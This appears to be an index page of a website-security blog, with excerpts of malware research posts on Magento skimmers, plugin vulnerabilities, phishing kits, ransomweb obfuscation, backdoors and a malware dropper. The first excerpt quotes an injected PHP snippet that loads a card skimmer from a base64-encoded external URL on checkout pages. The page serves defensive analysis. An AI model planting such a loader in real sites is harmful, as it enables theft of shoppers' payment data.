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• Magento PHP Injection Loads JavaScript Skimmer January 21, 2021
  A Magento website owner was concerned about malware and reached out to our team for assistance. Upon investigation, we found the website contained a PHP injection in one of the Magento files: ./app/code/core/Mage/Payment/Model/Method/Cc.php ... if ($_SERVER["REQUEST_METHOD"] === "GET"){ if (strpos($_SERVER["REQUEST_URI"], "/onestepcheckout/index/") !== false){ if(!isset($_COOKIE["adminhtml"])){ echo file_get_contents(base64_decode("aHR0cHM6Ly91bmRlcnNjb3JlZndbLl1jb20vc3JjL2tyZWEuanM=")); } } } To make it more difficult to […]
  Luke Leal
• Critical Vulnerabilities in 123contactform-for-wordpress WordPress Plugin January 19, 2021
  In mass infection scenarios, our Malware Research team often looks for attack vectors to find patterns and other similarities among compromised websites. The identification of these patterns allows us to deploy better and faster solutions to our customers, minimizing impacts from massive attacks. Recently during a routine investigation, we found a number of vulnerabilities in […]
  Rodrigo Escobar
• Real-Time Phishing Kit Targets Brazilian Central Bank January 14, 2021
  We recently found an interesting phishing kit on a compromised website that has QR code capabilities, along with the ability to control the phishing page in real time. What our investigation revealed was that attackers were leveraging PIX, a new payment method created by the Brazilian Central Bank. Features & Context for PIX PIX was […]
  Luke Leal
• Obfuscation Techniques in Ransomweb “Ransomware” January 12, 2021
  As vital assets for many business operations, websites and their hosting servers are often the target of ransomware attacks — and if they get taken offline, this can cause major issues for a business’ data, revenue, and ultimately reputation. The worst part about ransomware is that it encrypts data and removes the original encrypted copies. […]
  Luke Leal
• Evaluating Cookies to Hide Backdoors January 7, 2021
  Identifying website backdoors is not always an easy task. Since a backdoors primary function is to conceal itself while providing unauthorized access, they are often developed using a variety of techniques that can make it challenging to detect. For example, an attacker can inject a single line of code containing less than 130 characters into […]
  Luke Leal
• Bogus CSS Injection Leads to Stolen Credit Card Details January 5, 2021
  A client recently reported their customers were receiving antivirus warnings when trying to access and purchase products from a Magento ecommerce website. This is almost always a telltale sign that something is amiss, and so I began my investigation. Malware in Database Tables As is pretty common with Magento credit card swiper investigations, my initial […]
  Ben Martin
• SEO Spam Links in Nulled Plugins December 29, 2020
  It’s not unusual to see website owners running things on a budget. Choosing a safe and reliable hosting company, buying a nice domain name, boosting posts on social media, and ranking on search engines — all this costs a lot of money. At the end of the day, some site owners may even choose to […]
  Mohit Jawanjal
• The Dangers of Using Abandoned Plugins & Themes December 17, 2020
  It’s not very often that we see abandoned components being used on a website — but when we do, it’s most often because the website was exhibiting malware-like behavior and we were called to investigate and clean up the site. Old and abandoned plugins and themes are a good target for opportunistic attackers who are […]
  Krasimir Konov
• Why You Should Monitor Your Website December 15, 2020
  In an effort to maintain unauthorized access or profit off a website’s environment long after an initial compromise, attackers commonly leverage a variety of different techniques and tactics. These techniques range from adding backdoors, stealing sensitive data, redirecting the site to other third-party resources, or even injecting specially crafted links to give their own sites […]
  Cesar Anjos
• Malware Dropper Takes Advantage of COVID-19 Pandemic December 10, 2020
  Since April, our team has been tracking the spread of a PHP malware dropper. It’s impacting unsuspecting victims who thought they were downloading a mapping software to monitor the spread of the COVID-19 pandemic. While the attack is likely spread through a variety of vectors, we have verified that bad actors are using other compromised […]
  Krasimir Konov